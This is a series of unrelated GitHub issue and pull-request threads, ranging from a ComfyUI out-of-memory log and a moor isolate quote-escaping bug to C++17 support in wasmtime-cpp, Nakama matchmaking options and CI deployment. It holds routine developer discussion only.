EDIT: I checked monitoring, it was actually regular RAM, over 16gb is needed for sure.
To see the GUI go to: http://<IP_ADDRESS>:8188
FETCH DATA from: /home/ubuntu/ComfyUI/custom_nodes/ComfyUI-Manager/extension-node-map.json
got prompt
[Comfy3D] [WARNING] [Load_CRM_MVDiffusion_Model] can't find checkpoint /home/ubuntu/ComfyUI/custom_nodes/ComfyUI-3D-Pack/checkpoints/crm/ccm-diffusion.pth, will download it from repo Zhengyi/CRM instead
ccm-diffusion.pth: 100%|██████████████████████████████████████████████████████████████████████████████████████████████████| 6.16G/6.16G [00:39<00:00, 155MB/s]
Setting up MemoryEfficientCrossAttention. Query dim is 320, context_dim is None and using 5 heads.
Setting up MemoryEfficientCrossAttention. Query dim is 320, context_dim is 1024 and using 5 heads.
Setting up MemoryEfficientCrossAttention. Query dim is 320, context_dim is None and using 5 heads.
Setting up MemoryEfficientCrossAttention. Query dim is 320, context_dim is 1024 and using 5 heads.
Setting up MemoryEfficientCrossAttention. Query dim is 640, context_dim is None and using 10 heads.
Setting up MemoryEfficientCrossAttention. Query dim is 640, context_dim is 1024 and using 10 heads.
Setting up MemoryEfficientCrossAttention. Query dim is 640, context_dim is None and using 10 heads.
Setting up MemoryEfficientCrossAttention. Query dim is 640, context_dim is 1024 and using 10 heads.
Setting up MemoryEfficientCrossAttention. Query dim is 1280, context_dim is None and using 20 heads.
Setting up MemoryEfficientCrossAttention. Query dim is 1280, context_dim is 1024 and using 20 heads.
Setting up MemoryEfficientCrossAttention. Query dim is 1280, context_dim is None and using 20 heads.
Setting up MemoryEfficientCrossAttention. Query dim is 1280, context_dim is 1024 and using 20 heads.
Setting up MemoryEfficientCrossAttention. Query dim is 1280, context_dim is None and using 20 heads.
Setting up MemoryEfficientCrossAttention. Query dim is 1280, context_dim is 1024 and using 20 heads.
Setting up MemoryEfficientCrossAttention. Query dim is 1280, context_dim is None and using 20 heads.
Setting up MemoryEfficientCrossAttention. Query dim is 1280, context_dim is 1024 and using 20 heads.
Setting up MemoryEfficientCrossAttention. Query dim is 1280, context_dim is None and using 20 heads.
Setting up MemoryEfficientCrossAttention. Query dim is 1280, context_dim is 1024 and using 20 heads.
Setting up MemoryEfficientCrossAttention. Query dim is 1280, context_dim is None and using 20 heads.
Setting up MemoryEfficientCrossAttention. Query dim is 1280, context_dim is 1024 and using 20 heads.
Setting up MemoryEfficientCrossAttention. Query dim is 640, context_dim is None and using 10 heads.
Setting up MemoryEfficientCrossAttention. Query dim is 640, context_dim is 1024 and using 10 heads.
Setting up MemoryEfficientCrossAttention. Query dim is 640, context_dim is None and using 10 heads.
Setting up MemoryEfficientCrossAttention. Query dim is 640, context_dim is 1024 and using 10 heads.
Setting up MemoryEfficientCrossAttention. Query dim is 640, context_dim is None and using 10 heads.
Setting up MemoryEfficientCrossAttention. Query dim is 640, context_dim is 1024 and using 10 heads.
Setting up MemoryEfficientCrossAttention. Query dim is 320, context_dim is None and using 5 heads.
Setting up MemoryEfficientCrossAttention. Query dim is 320, context_dim is 1024 and using 5 heads.
Setting up MemoryEfficientCrossAttention. Query dim is 320, context_dim is None and using 5 heads.
Setting up MemoryEfficientCrossAttention. Query dim is 320, context_dim is 1024 and using 5 heads.
Setting up MemoryEfficientCrossAttention. Query dim is 320, context_dim is None and using 5 heads.
Setting up MemoryEfficientCrossAttention. Query dim is 320, context_dim is 1024 and using 5 heads.
Loaded ViT-H-14 model config.
Loading pretrained ViT-H-14 weights (laion2b_s32b_b79k).
making attention of type 'vanilla-xformers' with 512 in_channels
building MemoryEfficientAttnBlock with 512 in_channels...
Working with z of shape (1, 4, 32, 32) = 4096 dimensions.
making attention of type 'vanilla-xformers' with 512 in_channels
building MemoryEfficientAttnBlock with 512 in_channels...
--- using zero snr---
/home/ubuntu/ComfyUI/custom_nodes/ComfyUI-3D-Pack/crm/imagedream/ldm/interface.py:116: RuntimeWarning: divide by zero encountered in divide
  "sqrt_recip_alphas_cumprod", to_torch(np.sqrt(1.0 / alphas_cumprod))
/home/ubuntu/ComfyUI/custom_nodes/ComfyUI-3D-Pack/crm/imagedream/ldm/interface.py:119: RuntimeWarning: divide by zero encountered in divide
  "sqrt_recipm1_alphas_cumprod", to_torch(np.sqrt(1.0 / alphas_cumprod - 1))
Killed

I like the shape of the mesh more than TripoSR, but texturing looks poor


Add alias/name to variant items

ANTLR allows:
topRule:
    : key=IDENT EQUALS value=IDENT # IdentEqualsIdent
    | key=IDENT EQUALS ref=someOtherRule # IdentEqualsRef
    ;

So, I have an idea about this.

Amend the definition of item to allow for aliases
For every aliased item (either token or rule -- don't allow groups for now):

Generated another rule, where, upon creating the node, the alias will be specified.
So, the definition of NodeCreator will be modified to take in an alias -- potentially an index for the list of all alias names.

Then, in the KanonicParser:

If a GeneratedNode has an alias, when popping its children, add its alias to the children nodes
If a Node has an alias, that will be used for grabbing the correct aliased Node.

In the NodeGenerator:

If a Variant's items contains a Node with an alias, create a helper function to grab that Node.

For now, stick with only aliasing a single node. Not gathering.


Make a Casdoor PHP SDK

Like Java: https://github.com/casdoor/casdoor-java-sdk

@basakest

Fixed by: https://github.com/casdoor/casdoor-php-sdk/pull/2


Use type properties once supported by Swift

Use type properties (class keyword - static const) once available in Swift. Would currently apply to the IOSERVICE_SMC & SMC_KEY_SIZE. See Swift InFlux for more.

Would allow for toInt32() & toString() to be type methods. See https://github.com/beltex/swift-smc/commit/d62bb64de879e0a8245bd9f8ea6c4b1ae738e52b

SMC is now a struct, which does have support for static properties.


[NO REVIEW] - CI TEST - rebase Postgresql on master

fo ci test

rebased on master
Resolve conflict
FIx checkStyle and compile error: https://github.com/apache/james-project/pull/2312/commits/aa04e09b923e1fc21537a5e349794a891df2583b

Include commits are waiting to merge:

https://github.com/apache/james-project/pull/2308
https://github.com/apache/james-project/pull/2287

https://ci-builds.apache.org/job/james/job/ApacheJames/job/PR-2312/1/
I find that slightly suspicious... can we check?

https://ci-builds.apache.org/job/james/job/ApacheJames/job/PR-2312/1/
I find that slightly suspicious... can we check?

It related to pr https://github.com/apache/james-project/pull/2259/files
we added new test cases for postgresql
but it was not passed for cassandra
Can we mark it unstable now for postgresql?

Can we mark it unstable now for postgresql?

it should mark "Disabled"
I see another test cases was marked also (related to flags concurrency )
ex: https://github.com/apache/james-project/blob/c4367d3952c19bb173468101c7263f26aa8a80ef/mailbox/cassandra/src/test/java/org/apache/james/mailbox/cassandra/mail/CassandraMessageMapperRelaxedConsistencyTest.java#L92

Ok with that, thanks for investigating

Necessary prior work has been merged btw :)

Necessary prior work has been merged btw :)

rebased

Can you re-run ci @Arsnael A
The failed test on ci is passed on my local

@vttranlina honestly it's taking long and I start to think I would prefer switching back on making this work with just building postgresql modules, so we can rebase and that it stops being a blocker for the postgres doc (that does not need a build honestly).
I would suggest to check the all build works on a parallel PR. Would you be ok with this?

it done


Support C++17 (or lower)?

Hi,
First of all, thank you for your wonderful job. I'm embedding wasmtime into a C++ project, and the C++ API is much nicer to work with than the original C API.
But there's one thing that troubles me a bit. Compiler support for C++20 is far from mature, and upgrading the C++ standard used by a big C++ project (like mine) is not a trivial job :(
So would you consider lowering the C++ standard required? I think it could be easier for existing C++ projects to embed this wrapper.
Thanks

Seems reasonable to me to support! The only reason I ended up enabling C++20 was for the std::span type. Do you know if there's an alternate type for a similar purpose pre-C++20? The main place this matters I think is return values because presumably functions that use it as an argument could just have an overload with a pointer/length. In the few places it's a return value there could perhaps be two functions returning pointer/length?

I too think std::span is a very convenient type. Unfortunately there's no alternative to it (to my knowledge) in the pre-C++20 standard library.
Microsoft's GSL has an implementation of span very similar to C++20's, and it only requires C++14. Other than that, maybe you could rollout a homebrew span 😉

@lei-april

I too think std::span is a very convenient type. Unfortunately there's no alternative to it (to my knowledge) in the pre-C++20 standard library.
Microsoft's GSL has an implementation of span very similar to C++20's, and it only requires C++14. Other than that, maybe you could rollout a homebrew span 😉

Completely agree, I use gsl::span whenever possible

Here is PR for switching to C++17 https://github.com/bytecodealliance/wasmtime-cpp/pull/5

Fixed in https://github.com/bytecodealliance/wasmtime-cpp/pull/5, thanks again @redradist!


Display values for "Normalized Area" etc. in Document Grid even when some transitions are truncated

This change makes it so that values like "Normalized Area", "Protein Abundance", etc. have sub-properties "Raw", "Strict" and "Message" which have different values depending on whether there was a problem calculating the value.

If there are missing or truncated transitions, the "Raw" value will have the best value that Skyline was able to calculate, whereas "Strict" will be null (which is displayed as "#N/A" in the Document Grid).
Whenever "Strict" is null, the "Message" property will display the reason.
When the parent property ("Normalized Area", etc) is displayed on the Document Grid, it will have "*" prepended to its value and there will be a red exclamation mark that you can hover over to see the message.

If there is a problem calculating a value on the Calibration Curve, it will still be displayed but it will always be excluded and drawn without being filled in. If the selected replicate has a problem the message will be displayed.

Also, this change adds "Protein Abundance Transition Summed" value which is the regular protein abundance multiplied by the number of Transitions, and "Protein Abundance Transition Averaged" value which is calculated in the old way.

How about All, Strict, and Annotated as the modifier names?

How about All, Strict, and Annotated as the modifier names?

The "Annotated" value is actually the parent column-- it displays the value along with a tooltip.
The "Message" sub-property is just the text of the tooltip or blank if there is no message. The reason it is there is because you can't see the tooltip when you export to CSV-- the tooltip is just represented by a "*".
I understand how "All" makes sense as a column header, since if you look in that column you will see all the values, whereas if you look in the "Strict" column you will only see a subset of the values, but I wish we could come up with a word that makes more sense as a description of a single value, since the column headers are always singular nouns.

Unfiltered?

/rebase


where I can get University Baggage Anomaly Dataset

where I can get University Baggage Anomaly Dataset

Due to the security reasons, unfortunately, UBA dataset is  a private dataset at the moment.

Do you have plans to disclose this dataset?


Fix with default 'Delete' action

When editing data default action was 'Delete', so if you press 'Enter' in any field, row was deleting. I fixed it.

Please do not accept this pull request, I is wrong.

I accidentally deleted several records not knowing "delete" is the default option when pressing the enter key


Drop binary integration test from coverage

Should fix #3394.

Had to include a clippy fix so the job actually runs.

Thank you!


[Isolates] ' symbols in the text lead to exceptions

' symbols in the text lead to exceptions in case of Isolates, however it works well for non-Isolates case (looks like serialization issue)
CREATE TABLE sample (
   title     TEXT,

@create: INSERT INTO sample (title) values
('O''Connor'),
('Tomeo''s');

Thanks for the report, but I couldn't reproduce this unfortunately (see the referenced commit). Can you post more details on how this can be reproduced?

@simolus3 - it could be reproduced for the moor Isolates use case
I provided example above when creating DB query lead to exception: @create: INSERT INTO

@simolus3 queries generated by @create: moor file statement looks different then your test example.

@simolus3
Exception:
E/flutter (20466): [ERROR:flutter/lib/ui/ui_dart_state.cc(199)] Unhandled Exception: SqliteException(1): near "Connor": syntax error
E/flutter (20466): #0      DatabaseImpl.execute (package:sqlite3/src/impl/database.dart:119:9)
E/flutter (20466): #1      _VmDelegate._runWithArgs (package:moor/src/ffi/vm_database.dart:193:11)
E/flutter (20466): #2      _VmDelegate.runCustom (package:moor/src/ffi/vm_database.dart:203:11)
E/flutter (20466): #3      _ExecutorWithQueryDelegate.runCustom.<anonymous closure> (package:moor/src/runtime/executor/helpers/engines.dart:79:19)
E/flutter (20466): #4      _ExecutorWithQueryDelegate._synchronized (package:moor/src/runtime/executor/helpers/engines.dart:25:26)
E/flutter (20466): #5      _ExecutorWithQueryDelegate.runCustom (package:moor/src/runtime/executor/helpers/engines.dart:76:12)
E/flutter (20466): #6      ServerImplementation._runQuery (package:moor/src/runtime/remote/server_impl.dart:117:25)
E/flutter (20466): <asynchronous suspension>
E/flutter (20466): #7      MoorCommunication.setRequestHandler.<anonymous closure>.<anonymous closure> (package:moor/src/runtime/remote/communication.dart)
E/flutter (20466): <asynchronous suspension>

Which moor and moor_generator version are you using? I tried adding this to a moor file:
CREATE TABLE sample (
   title     TEXT
);

@create: INSERT INTO sample (title) values
('O''Connor'),
('Tomeo''s');

Then I added this test
  test('supports single quotes in text', () async {
    // Regression test for https://github.com/simolus3/moor/issues/1179
    final isolate = await MoorIsolate.spawn(_backgroundConnection);
    final custom = CustomTablesDb.connect(await isolate.connect());

    final result = await custom.customSelect('SELECT title FROM sample').get();
    expect(result.map((f) => f.read<String>('title')), ["O'Connor", "Tomeo's"]);
  });

That still works just fine for me.

@simolus3 I using latest version:
moor_generator: ^4.2.2
moor: ^4.2.1
sqlite3_flutter_libs: ^0.4.1
path_provider: ^2.0.1
path: ^1.8.0
json_serializable: ^4.1.1
build_runner: ^2.0.2

@simolus3
It works fine without Isolates - so I guess it is not generator issue.
I reproduced it on Android emulator.

@simolus3
tested once more - exception still there on: final result = await select(sample).get();

Ah, now I see it too. This problem is fixed on development already, which is why I didn't see it right away. Thanks for the report, this will be fixed in the next moor version.


Move to fastecdsa package

In developing the performance-sensitive parts of Blockstack CLI, I noticed that the ecdsa package is very, very slow.  For example, it takes ~200 milliseconds to convert a private key from WIF format to hexadecimal.  This isn't a problem with keylib, but it affects every keylib method that uses ecdsa to do the heavy lifting.
I've already moved the storage signing/verifying logic in Blockstack CLI over to fastecdsa to relive this, with excellent results (~30x speed improvement).  However, it would be good to simply drop ecdsa whenever possible from our packages.  For example, the storage logic can't rely many parts of keylib.

Great idea! 30x - that's pretty insane!

I can get cracking on this in January.  Will send a PR.

No longer necessary; we're using cryptography in the places where it needs to be fast.


Writing css

[ ] Improve the design of input tag
- make text and form larger
- remove frame
[ ] Separate colors for text (being, miss, typed)
[ ] Place all elements in the middle of page

Characters in the input tag cannot be manipulated by css.

[ ] Create a new area to display text.
[ ] Hide the previous input element.
[ ] Focusing input tag on rendering.
[ ] Make it keep in focus


improvementDisable fetch stats for iceberg table through Iceberg api by default.

Disable fetch iceberg table stats through iceberg api by default. Because it could be very heavy and external table performs fine without column stats.
Could enable it by : set global enable_fetch_iceberg_stats=true

run buildall

run feut

run p0


Add option to disable relayed matches after matchmaker error, fixes for tests

I thought that feature to disallow automatic relayed match token generation after autoritative matchmaker error will be usefull.
This option set to false (with blocking before hook implementation on MatchCreate) will totally disable relayed matches, which can be desirable by some use cases.
I also fixed all errors in tests to get them all passed.

@maciejmrozinski Thanks for the contribution. Can you provide more detail on this point "which can be desirable by some use cases" - what are the desirable use cases to disable the default behaviour for relayed multiplayer matches?

Main point is to totally disable relayed match creation. Right now we can block it from client side by implementing guard function on before create match hook. But even then when we use matchmaker to create authoritative matches and error occurs, Nakama generates match token without control and sends it to clients. Probably we can block joining non-authoritative matches on before match join hook, but disabling token generation seems like more optimal solution.

@maciejmrozinski I think it's important to note relayed matches aren't really "created" in the sense this word might imply. The matchmaker only generates match join tokens.
If you prevent (with a before hook) the socket operations that create matches or join matches with a token (not a match ID, that's only for authoritative matches) then no resources will be consumed on the server at all.
In a practical sense is what you're looking for more to prevent matchmaking succeeding/completing if creating authoritative matches fails? With or without reporting the issue to the client?

You're right that from other point of view describing this solution as a way to prevent matchmaking from completing and using ticket when creating authoritative match fails is also correct. Probably in base version, as it's implemented in PR now, not consuming a ticket so it can be picked in another matchmaker run is enough. In future, comunicating this event to the client maybe can be usefull.


Fix #231: Allows CORS header in dev mode

Fix #231: Allows CORS header in dev mode

I wonder if all of the ACCESS_CONTROL type headers should be allowed through?
https://vertx.io/docs/apidocs/io/vertx/core/http/HttpHeaders.html

Thanks!

Thanks for this PR, this is not the right fix though (as discussed on the issue)


Add CI to build and deploy site using github actions

gh-pages works well as a CDN, and actions provides good transparency into the build process.
After having thought it over somewhat, and having done this with a number of other production sites, I feel it's best for our landing page too, as it keeps everything in one system (GitHub) and avoids the need to manage users/admins in multiple places.
This deploys the site by pushing it to the gh-pages branch of https://github.com/reach4help/reach4help-gh-pages
Example of what a build log looks like: https://github.com/reach4help/reach4help/actions/runs/61003644

👍 This will really cut down on CDN hosting costs for our front-ends and make that process seamless :)

Closing this as we won't be deploying to gh-pages.